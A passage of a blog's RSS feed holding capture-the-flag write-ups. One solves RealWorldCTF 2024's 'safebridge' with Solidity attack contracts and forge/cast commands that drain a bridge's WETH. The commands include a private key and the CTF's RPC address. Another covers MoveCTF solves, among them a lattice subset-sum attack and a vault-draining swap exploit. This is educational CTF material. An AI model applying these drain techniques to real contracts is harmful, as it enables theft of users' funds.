\geq 0 \\[10pt] \text{thus}\\[10pt] r_i=\left\{ \begin{aligned} &amp;amp; +\epsilon \ \ \ \text{if } [\nabla_{x} L(x, y)]_i &amp;gt; 0 \\ &amp;amp; -\epsilon \ \ \ \text{if } [\nabla_{x} L(x, y)]_i &amp;lt; 0 \\ &amp;amp; 0 \ \ \ \ \ \ \ \text{otherwise} \end{aligned} \right. \\ \text{For convenience in the 'otherwise' case, we calculate it as zero.} \\[10pt] \text{therefore } x'=x+\epsilon \cdot sign(\nabla_{x} L(x, y)) $$&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>study</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/174</guid>
      <comments>https://gss1.tistory.com/entry/Fast-Gradient-Sign-Method-FGSM-attack-proof#entry174comment</comments>
      <pubDate>Fri, 2 Feb 2024 19:20:57 +0900</pubDate>
    </item>
    <item>
      <title>RealWorldCTF 2024 - blockchain(safebridge)</title>
      <link>https://gss1.tistory.com/entry/RealWorldCTF-2023-blockchainsafebridge</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;analysis&lt;/h3&gt;
&lt;pre id=&quot;code_1706414227298&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function deploy(address system) internal returns (address challenge) {
        vm.createSelectFork(vm.envString(&quot;L1_RPC&quot;));
        vm.startBroadcast(system);
        address relayer = getAdditionalAddress(0);
        L1CrossDomainMessenger l1messenger = new L1CrossDomainMessenger(relayer);
        WETH weth = new WETH();
        L1ERC20Bridge l1Bridge =
            new L1ERC20Bridge(address(l1messenger), Lib_PredeployAddresses.L2_ERC20_BRIDGE, address(weth));

        weth.deposit{value: 2 ether}();
        weth.approve(address(l1Bridge), 2 ether);
        l1Bridge.depositERC20(address(weth), Lib_PredeployAddresses.L2_WETH, 2 ether);

        challenge = address(new Challenge(address(l1Bridge), address(l1messenger), address(weth)));
        vm.stopBroadcast();
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1706414720721&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Challenge {
    address public immutable BRIDGE;
    address public immutable MESSENGER;
    address public immutable WETH;

    constructor(address bridge, address messenger, address weth) {
        BRIDGE = bridge;
        MESSENGER = messenger;
        WETH = weth;
    }

    function isSolved() external view returns (bool) {
        return IERC20(WETH).balanceOf(BRIDGE) == 0;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Our goal is to steal the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;2 weth&lt;/span&gt; stored in L1Bridge.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;root cause&lt;/h3&gt;
&lt;pre id=&quot;code_1706413316599&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract L1ERC20Bridge is IL1ERC20Bridge, CrossDomainEnabled {
    function _initiateERC20Deposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)
        internal
    {
        IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);

        bytes memory message;
        if (_l1Token == weth) {
            message = abi.encodeWithSelector(
                IL2ERC20Bridge.finalizeDeposit.selector, address(0), Lib_PredeployAddresses.L2_WETH, _from, _to, _amount
            ); 
        } else {
            message =
                abi.encodeWithSelector(IL2ERC20Bridge.finalizeDeposit.selector, _l1Token, _l2Token, _from, _to, _amount);
        }

        sendCrossDomainMessage(l2TokenBridge, message);
        deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;

        emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In &lt;span style=&quot;background-color: #f6e199;&quot;&gt;L1ERC20Bridge&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;_initiateERC20Deposit&lt;/span&gt; does not check if &lt;span style=&quot;background-color: #f6e199;&quot;&gt;_l2Token&lt;/span&gt; is &lt;span style=&quot;background-color: #f6e199;&quot;&gt;L2_WETH&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;when its &lt;span style=&quot;background-color: #f6e199;&quot;&gt;_l1Token&lt;/span&gt; equals &lt;span style=&quot;background-color: #f6e199;&quot;&gt;weth&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As a result, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;L2_WETH&lt;/span&gt; is minted in the L2 chain, but &lt;span style=&quot;background-color: #f6e199;&quot;&gt;deposits[weth][non L2_weth]&lt;/span&gt; of the L1 chain is updated.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we burn &lt;span style=&quot;background-color: #f6e199;&quot;&gt;L2_WETH&lt;/span&gt; when we return from L2 to L1, it becomes &lt;span style=&quot;background-color: #f6e199;&quot;&gt;deposits[L1_weth][L2_weth] -= amount&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we burn &lt;span style=&quot;background-color: #f6e199;&quot;&gt;non L2_weth&lt;/span&gt;, it becomes &lt;span style=&quot;background-color: #f6e199;&quot;&gt;deposits[L1_weth][non L2_weth] -= amount&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can deploy the malicious contract for the non L2_weth, providing us with infinite minting.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Consequently, we can drain the weth held by the bridge as much as we send the amount of the weth to the L2.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&lt;/h3&gt;
&lt;pre id=&quot;code_1706414785248&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MyToken is IL2StandardERC20, ERC20 {
    address public l1Token;

    constructor(address _l1Token, string memory _name, string memory _symbol) ERC20(_name, _symbol) {
        l1Token = _l1Token;
        mint(msg.sender, 2 ether);
    }

    function supportsInterface(bytes4 _interfaceId) public pure returns (bool) {
        bytes4 firstSupportedInterface = bytes4(keccak256(&quot;supportsInterface(bytes4)&quot;)); // ERC165
        bytes4 secondSupportedInterface =
            IL2StandardERC20.l1Token.selector ^ IL2StandardERC20.mint.selector ^ IL2StandardERC20.burn.selector;
        return _interfaceId == firstSupportedInterface || _interfaceId == secondSupportedInterface;
    }

    function mint(address _to, uint256 _amount) public virtual {
        _mint(_to, _amount);

        emit Mint(_to, _amount);
    }

    function burn(address _from, uint256 _amount) public virtual {
        _burn(_from, _amount);

        emit Burn(_from, _amount);
    }
}

contract AttackL2 {
    address internal constant L2_CROSS_DOMAIN_MESSENGER = 0x420000000000000000000000000000000000CAFe;
    address internal constant L2_ERC20_BRIDGE = 0x420000000000000000000000000000000000baBe;
    address internal constant L2_WETH = payable(0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000);

    MyToken public myToken; 
    L2ERC20Bridge public l2Bridge = L2ERC20Bridge(0x420000000000000000000000000000000000baBe);
    constructor (address l1Weth) {
        myToken = new MyToken(l1Weth, &quot;g&quot;, &quot;g&quot;);
    }

    function attack() public {
        l2Bridge.withdrawTo(L2_WETH, address(this), 2 ether);
        l2Bridge.withdrawTo(address(myToken), address(this), 2 ether);
    }
}

contract AttackL1 {
    Challenge public chall;
    L1ERC20Bridge public l1Bridge;
    WETH public weth;
    
    constructor (address challenge) payable {
        chall = Challenge(challenge);
        l1Bridge = L1ERC20Bridge(chall.BRIDGE());
        weth = WETH(payable(chall.WETH()));
        weth.deposit{value: 2 ether}();
    }

    function attack(address l2Token, address attacker) public {
        weth.approve(address(l1Bridge), 4 ether);
        l1Bridge.depositERC20To(address(weth), l2Token, attacker, 2 ether);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1706414842994&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;forge create AttackL2 --private-key &quot;0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672&quot; --rpc-url &quot;http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l2&quot; --constructor-args &quot;0xcB9B043B2e1fE63C5750bc7CCc34b0975D311F55&quot;
forge create AttackL1 --private-key &quot;0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672&quot; --rpc-url &quot;http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l1&quot; --value 2ether --constructor-args &quot;0xFF0E79fbD76457dADDF9176dE51C8635639A6e1c&quot;
cast send &quot;0x914334f7459449a02Ac5Fcac9b141422e5843363&quot; --private-key &quot;0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672&quot; --rpc-url &quot;http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l1&quot; &quot;attack(address,address)&quot; &quot;0x6064D7A2ddf3424BBEe75722952b4A28A00a67F3&quot; &quot;0x914334f7459449a02Ac5Fcac9b141422e5843363&quot;
cast send &quot;0x914334f7459449a02Ac5Fcac9b141422e5843363&quot; --private-key &quot;0x6ebc7473272ac5cab0bdb4f00b90f01a80525e3b2c889d438a409c8bdd56b672&quot; --rpc-url &quot;http://47.251.56.125:8545/YmjZZzFkERScgqedKjffkurc/l2&quot; &quot;attack()&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rwctf{yoU_draINED_BriD6E}&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/180</guid>
      <comments>https://gss1.tistory.com/entry/RealWorldCTF-2023-blockchainsafebridge#entry180comment</comments>
      <pubDate>Sun, 28 Jan 2024 13:08:09 +0900</pubDate>
    </item>
    <item>
      <title>2024MoveCTF</title>
      <link>https://gss1.tistory.com/entry/2024MoveCTF</link>
      <description>&lt;h2&gt;Checkin&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    public entry fun get_flag(string: vector&amp;lt;u8&amp;gt;, ctx: &amp;amp;mut TxContext) {
        assert!(string == b&amp;quot;MoveBitCTF&amp;quot;,ESTRING);
        event::emit(Flag {
            sender: tx_context::sender(ctx),
            flag: true,
        });
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since &lt;code&gt;get_flag&lt;/code&gt; is a entry function, we just call that fuction using sui-client.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sui client call \
--package 0xbef0fd782ca68ff089fba9c06ee4b6ceaf1b5aaaa8bae45e66fa25efd8a7fec4 \
--module checkin \
--function get_flag \
--args &amp;quot;MoveBitCTF&amp;quot; \
--gas-budget 100000000&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;dynamic_matrix_traversal&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    fun up(m: u64, n: u64): u64 {
        let f: vector&amp;lt;vector&amp;lt;u64&amp;gt;&amp;gt; = vector::empty();
        let i: u64 = 0;
        while (i &amp;lt; m) {
            let row: vector&amp;lt;u64&amp;gt; = vector::empty();
            let j: u64 = 0;
            while (j &amp;lt; n) {
                if (j == 0 || i == 0) {
                    vector::push_back(&amp;amp;mut row, 1);
                } else {
                    let f1 = *vector::borrow(&amp;amp;f, i - 1);
                    let j1 = *vector::borrow(&amp;amp;row, j - 1);
                    let val = *vector::borrow(&amp;amp;f1, j) + j1;
                    vector::push_back(&amp;amp;mut row, val);
                };
                j = j + 1;
            };
            vector::push_back(&amp;amp;mut f, row);
            i = i + 1;
        };
        let fr = *vector::borrow(&amp;amp;f, m - 1);
        let result = *vector::borrow(&amp;amp;fr, n-1);
        result
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have to find pairs of m and n such that &lt;code&gt;up(m, n)&lt;/code&gt; is equal to &lt;code&gt;14365&lt;/code&gt; and &lt;code&gt;2794155&lt;/code&gt;. &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;found_mn = []
def up(m, n):
    f = [[0 for _ in range(n)] for _ in range(m)]
    for i in range(m):
        for j in range(n):
            if j == 0 or i == 0:
                f[i][j] = 1
            else:
                f[i][j] = f[i-1][j] + f[i][j-1]
    return f[m-1][n-1]

for m in range(1, 300):
    for n in range(1, 300):
        if len(found_mn) == 2:
            break
        if up(m, n) in [14365, 2794155]:
            found_mn.append((m, n))

print(found_mn)&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;subset&lt;/h2&gt;
&lt;p&gt;The subset problem is a well-known subject of crypto challenge. This problem could be solved by low-density attack. The subset1 and subset2 are easily solved through brute-force but subset3 isn&amp;#39;t. So sage script is needed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;class HighDensityException(Exception):
    pass


class LOAttack:

    def __init__(self, array, target_sum, try_on_high_density=False):
        self.array = array
        self.n = len(self.array)
        self.target_sum = target_sum
        self.density = self._calc_density()
        self.try_on_high_density = try_on_high_density

    def _calc_density(self):
        return self.n / log(max(self.array), 2)

    def _check_ans(self, ans):
        calc_sum = sum(map(lambda x: x[0] * x[1], zip(self.array, ans)))
        return self.target_sum == calc_sum

    def solve(self):
        if self.density &amp;gt;= 0.6463 and not self.try_on_high_density:
            raise HighDensityException()

        # 1. Initialize Lattice
        L = Matrix(ZZ, self.n + 1, self.n + 1)
        N = ceil(self.n ^ 0.5 / 2)
        for i in range(self.n + 1):
            for j in range(self.n + 1):
                if j == self.n and i &amp;lt; self.n:
                    L[i, j] = N * self.array[i]
                elif j == self.n:
                    L[i, j] = N * self.target_sum
                elif i == j:
                    L[i, j] = 1
                else:
                    L[i, j] = 0

        # 2. LLL!
        B = L.LLL()

        # 3. Find answer
        for i in range(self.n + 1):
            if B[i, self.n] != 0:
                continue

            if all(-1 &amp;lt;= v &amp;lt;= 0 for v in B[i]):
                ans = [-B[i, j] for j in range(self.n)]
                if self._check_ans(ans):
                    return ans

        # Failed to find answer
        return None


class CJLOSSAttack:

    def __init__(self, array, target_sum, try_on_high_density=False):
        self.array = array
        self.n = len(self.array)
        self.target_sum = target_sum
        self.density = self._calc_density()
        self.try_on_high_density = try_on_high_density

    def _calc_density(self):
        return self.n / log(max(self.array), 2)

    def _check_ans(self, ans):
        calc_sum = sum(map(lambda x: x[0] * x[1], zip(self.array, ans)))
        return self.target_sum == calc_sum

    def solve(self):
        if self.density &amp;gt;= 0.9408 and not self.try_on_high_density:
            raise HighDensityException()

        # 1. Initialize Lattice
        L = Matrix(ZZ, self.n + 1, self.n + 1)
        N = ceil(self.n ^ 0.5 / 2)
        for i in range(self.n + 1):
            for j in range(self.n + 1):
                if j == self.n and i &amp;lt; self.n:
                    L[i, j] = 2 * N * self.array[i]
                elif j == self.n:
                    L[i, j] = 2 * N * self.target_sum
                elif i == j:
                    L[i, j] = 2
                elif i == self.n:
                    L[i, j] = 1
                else:
                    L[i, j] = 0

        # 2. LLL!
        B = L.LLL()


        # 3. Find answer
        for i in range(self.n + 1):
            if B[i, self.n] != 0:
                continue

            if all(v == -1 or v == 1 for v in B[i][:self.n]):
                ans = [ (-B[i, j] + 1) // 2 for j in range(self.n)]
                print(ans)
                if self._check_ans(ans):
                    return ans

        # Failed to find answer
        return None


# Example
if __name__ == &amp;quot;__main__&amp;quot;:
    from sage.misc.prandom import randint
    import random

    arr = [730983191275949878802706287425, 738747747182330870358722868390, 680758618870742741205069880873, 736839950200009681117675478653, 821817898783913524938769447793, 1062662929594640521216588473346, 804078432654564652353003934418, 987354119502628442223858924307, 974121064863569224403070119631, 766517359152261667697388282513, 1115664590742545309936719501477, 1254953696369781959586392455121, 708965201854329468418120106125, 803407590419087414384275360152, 680994772249007776444211943134, 1209641410992728376967530103489, 1022807828605992586908433214193, 708760513774702586605766399361, 1146510154260900723919247238072, 1071639493717448858831225830703, 704595551001390485227577881300, 666267842956106233584633761922, 916484600070887410197321230180, 869547011380359879465486127051, 1146284238922586539801525899580, 960791406315307372223215677265, 846714517434965788941098273736, 943109174072029103168835446476, 1186748483275224241752870865835, 810729587696497173434925395865, 1081140748486010470135469081647, 1117896979087650487375387404086, 815335940196924955981808193550, 980088874723074134145795909695, 1040350471929604504671667297293, 694306413856033832104987821225, 1100701148915109260220219397362, 861206885233154419043148976517, 876554683816312162465230697586, 1076923686440478606439365136720, 1107602068170190810465822909560, 1100902219684950305811682891430, 1009332208289062882998661101012, 967609782575367058780528699819, 847083579140405861838133952519, 960959937086001625649028920079, 705904760596273528708773247739, 988488072940508411593301577206, 855813607361058850034718734435, 923433147009426548286155351544, 927267999331166226154541562801, 833421857490492247367663980146, 913726313126985248790906682414, 1152739002690744639089937932044, 758241923243582267541395815418, 826183630101084916296521382931, 871183653161711616458012031543, 1118876419859306653014740242503, 925209067093127804911661688602, 796047972746266882548343051358, 1105317347573296959936900839504, 1032520332923337088078820581073, 790503191621237284611596729403, 1093888060891270134787133219999, 1129244151204837429536515955111, 736340764546413369555890340882, 844331877762673816004189096610, 1216403448409604941009786692773, 1026707098397380044704009977063, 1162146257113640418035057534747, 1239108677717284719224289951413, 1179642728157883101738427519029, 1121726694197132350252978011382, 1166236995314127503915531123371, 1237380820841327126465021125310, 928563984604088646801945637827, 969172329973162874760566309613, 916791337778690807774047076043, 1187392146940862931565053344747, 1041354841046252194695344517944]
    target_sum = 9639405868465735216305592265916

    for _ in range(1000):
        new_arr = []
        cnt = 0
        out = []
        for a in arr:
            if random.random() &amp;lt; 0.1:
                out.append(cnt)
                cnt += 1
                continue
            else:
                cnt += 1
                new_arr.append(a)
        attack = CJLOSSAttack(new_arr, target_sum).solve()
        if attack is not None and sum(attack) == 10:
            print(new_arr)
            print(attack)
            print(out)&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;module My::my {
    use sui::event;
    use sui::tx_context;
    use std::vector;
    use subset::subset_sum;

    struct Flag has copy, drop {
        user: address
    }

    struct Status has store, drop {
        status1: bool,
        status2: bool,
        status3: bool,
        user: address
    }

    const SUBSET1: vector&amp;lt;u256&amp;gt; = vector&amp;lt;u256&amp;gt;[1, 2, 3, 4, 5];
    const SUBSET1_k: u256 = 3;
    const SUBSET1_SUM: u256 = 10;

    const SUBSET2: vector&amp;lt;u256&amp;gt; = vector&amp;lt;u256&amp;gt;[657114161599166, 910496114410022, 688072175280628, 979125688929861, 785338725553848, 887159728265050, 622841641193103, 725154659875148, 740423950361799, 1112663190822550, 922195312967936, 1042436852643560, 794233930466363, 1005209504277475, 1095553790921575, 1100234031975913, 1097338706315892, 685173186787942, 931084447948631, 1025208692464347, 823246835986875, 640705587553065, 1067772094848338, 608307547370178, 860527574463312, 745522896700102, 1107646656429468, 575719789023353, 1008988042757401, 563072788255737, 882855688862943, 974319745991702, 1004427379286462, 904504413493231, 1083652042079152, 1053694822809090, 702717128907262, 881540236795119, 992204188883575, 890965906483327];
    const SUBSET2_k: u256 = 5;
    const SUBSET2_SUM: u256 = 4178919802453692;

    const SUBSET3: vector&amp;lt;u256&amp;gt; = vector&amp;lt;u256&amp;gt;[730983191275949878802706287425, 738747747182330870358722868390, 680758618870742741205069880873, 736839950200009681117675478653, 821817898783913524938769447793, 1062662929594640521216588473346, 804078432654564652353003934418, 987354119502628442223858924307, 974121064863569224403070119631, 766517359152261667697388282513, 1115664590742545309936719501477, 1254953696369781959586392455121, 708965201854329468418120106125, 803407590419087414384275360152, 680994772249007776444211943134, 1209641410992728376967530103489, 1022807828605992586908433214193, 708760513774702586605766399361, 1146510154260900723919247238072, 1071639493717448858831225830703, 704595551001390485227577881300, 666267842956106233584633761922, 916484600070887410197321230180, 869547011380359879465486127051, 1146284238922586539801525899580, 960791406315307372223215677265, 846714517434965788941098273736, 943109174072029103168835446476, 1186748483275224241752870865835, 810729587696497173434925395865, 1081140748486010470135469081647, 1117896979087650487375387404086, 815335940196924955981808193550, 980088874723074134145795909695, 1040350471929604504671667297293, 694306413856033832104987821225, 1100701148915109260220219397362, 861206885233154419043148976517, 876554683816312162465230697586, 1076923686440478606439365136720, 1107602068170190810465822909560, 1100902219684950305811682891430, 1009332208289062882998661101012, 967609782575367058780528699819, 847083579140405861838133952519, 960959937086001625649028920079, 705904760596273528708773247739, 988488072940508411593301577206, 855813607361058850034718734435, 923433147009426548286155351544, 927267999331166226154541562801, 833421857490492247367663980146, 913726313126985248790906682414, 1152739002690744639089937932044, 758241923243582267541395815418, 826183630101084916296521382931, 871183653161711616458012031543, 1118876419859306653014740242503, 925209067093127804911661688602, 796047972746266882548343051358, 1105317347573296959936900839504, 1032520332923337088078820581073, 790503191621237284611596729403, 1093888060891270134787133219999, 1129244151204837429536515955111, 736340764546413369555890340882, 844331877762673816004189096610, 1216403448409604941009786692773, 1026707098397380044704009977063, 1162146257113640418035057534747, 1239108677717284719224289951413, 1179642728157883101738427519029, 1121726694197132350252978011382, 1166236995314127503915531123371, 1237380820841327126465021125310, 928563984604088646801945637827, 969172329973162874760566309613, 916791337778690807774047076043, 1187392146940862931565053344747, 1041354841046252194695344517944];
    const SUBSET3_k: u256 = 10;
    const SUBSET3_SUM: u256 = 9639405868465735216305592265916;

    public entry fun attack(ctx: &amp;amp;mut tx_context::TxContext) {
        let status = subset_sum::get_status(ctx);
        let sol1 = vector&amp;lt;u256&amp;gt;[0,1,1,0,1];
        let sol2 = vector&amp;lt;u256&amp;gt;[0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
        let sol3 = vector&amp;lt;u256&amp;gt;[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0];
        subset_sum::solve_subset1(sol1, &amp;amp;mut status);
        subset_sum::solve_subset2(sol2, &amp;amp;mut status);
        subset_sum::solve_subset3(sol3, &amp;amp;mut status);
        subset_sum::get_flag(&amp;amp;status, ctx);
    }

    public fun get_status(ctx: &amp;amp;mut tx_context::TxContext): Status {
        Status {
            status1: false,
            status2: false,
            status3: false,
            user: tx_context::sender(ctx)
        }
    }


    public fun get_flag(status: &amp;amp;Status, ctx: &amp;amp;mut tx_context::TxContext) {
        let user = tx_context::sender(ctx);
        assert!(status.user == user, 0);
        assert!(status.status1 &amp;amp;&amp;amp; status.status2 &amp;amp;&amp;amp; status.status3, 0);
        event::emit(Flag { user: user });
    }

}
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;swap&lt;/h2&gt;
&lt;p&gt;If a user keep swapping alternately from A to B and from B to A, the user will have more coin than the vault.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;vault_a = 100
vault_b = 100

my_a = 10
my_b = 10

# swap

for _ in range(2):
    delta = min(int(my_a * vault_b / vault_a), vault_b)
    vault_a += my_a
    vault_b -= delta
    my_a = 0
    my_b += delta

    delta = min(int(my_b * vault_a / vault_b), vault_a)
    vault_b += my_b
    vault_a -= delta
    my_b = 0
    my_a += delta

delta = int(my_a * vault_b / vault_a)
vault_a += my_a
vault_b -= delta
my_a = 0
my_b += delta

delta = int(45 * vault_a / vault_b)
vault_b += 45
vault_a -= delta
my_b -= 45
my_a += delta

print(my_a)
print(my_b)
print(vault_a)
print(vault_b)&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;110
20
0
90&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;module My::my {
    use sui::coin::{Self, Coin, TreasuryCap};
    use sui::tx_context::{Self, TxContext};
    use sui::transfer;
    use sui::object::{Self, UID};
    use std::option;
    use swap::vault::{Self, Vault};
    use swap::ctfa::{Self, MintA};
    use swap::ctfb::{Self, MintB};

    public entry fun attack1&amp;lt;A,B&amp;gt;(capa: MintA&amp;lt;A&amp;gt;, capb: MintB&amp;lt;B&amp;gt;, ctx: &amp;amp;mut TxContext) {
        vault::initialize&amp;lt;A,B&amp;gt;(capa, capb ,ctx);
    }



    public entry fun attack2&amp;lt;A,B&amp;gt;(vault: &amp;amp;mut Vault&amp;lt;A,B&amp;gt;, coina:Coin&amp;lt;A&amp;gt;, coinb:Coin&amp;lt;B&amp;gt;, ctx: &amp;amp;mut TxContext) {
        let coin_b = vault::swap_a_to_b&amp;lt;A,B&amp;gt;(vault, coina, ctx);
        coin::join&amp;lt;B&amp;gt;(&amp;amp;mut coin_b, coinb);
        let coin_a = vault::swap_b_to_a&amp;lt;A,B&amp;gt;(vault, coin_b, ctx);
        let coin_b = vault::swap_a_to_b&amp;lt;A,B&amp;gt;(vault, coin_a, ctx);
        let coin_a = vault::swap_b_to_a&amp;lt;A,B&amp;gt;(vault, coin_b, ctx);
        let coin_b = vault::swap_a_to_b&amp;lt;A,B&amp;gt;(vault, coin_a, ctx);
        let coin_bb = coin::split(&amp;amp;mut coin_b, 45, ctx);
        let coin_a = vault::swap_b_to_a&amp;lt;A,B&amp;gt;(vault, coin_bb, ctx);

        let (a, b, r) = vault::flash&amp;lt;A,B&amp;gt;(vault, 90, true, ctx);

        vault::get_flag&amp;lt;A,B&amp;gt;(vault, ctx);

        vault::repay_flash&amp;lt;A,B&amp;gt;(vault, a, b, r);

        transfer::public_transfer(coin_a, tx_context::sender(ctx));
        transfer::public_transfer(coin_b, tx_context::sender(ctx));
    }

}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;otterhub&lt;/h2&gt;
&lt;p&gt;There are three private repos in otterhub.&lt;br&gt;In particular, it is necessary to focus on the Matryoshka repo, and it has three commits.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;161,28,235,11,6,0,0,0,7,1,0,2,3,2,5,5,7,1,7,8,21,8,29,32,6,61,178,1,12,239,1,17,0,0,0,1,0,0,0,0,9,101,110,99,114,121,112,116,111,114,10,115,116,111,114,101,95,98,97,98,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,10,2,86,85,10,13,6,28,54,125,70,69,108,29,59,13,71,80,83,84,87,108,40,70,6,95,89,95,49,18,125,70,69,108,29,59,78,4,80,83,84,87,108,40,70,69,28,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,0,1,0,0,0,3,6,3,0,0,0,0,0,0,0,1,2,0
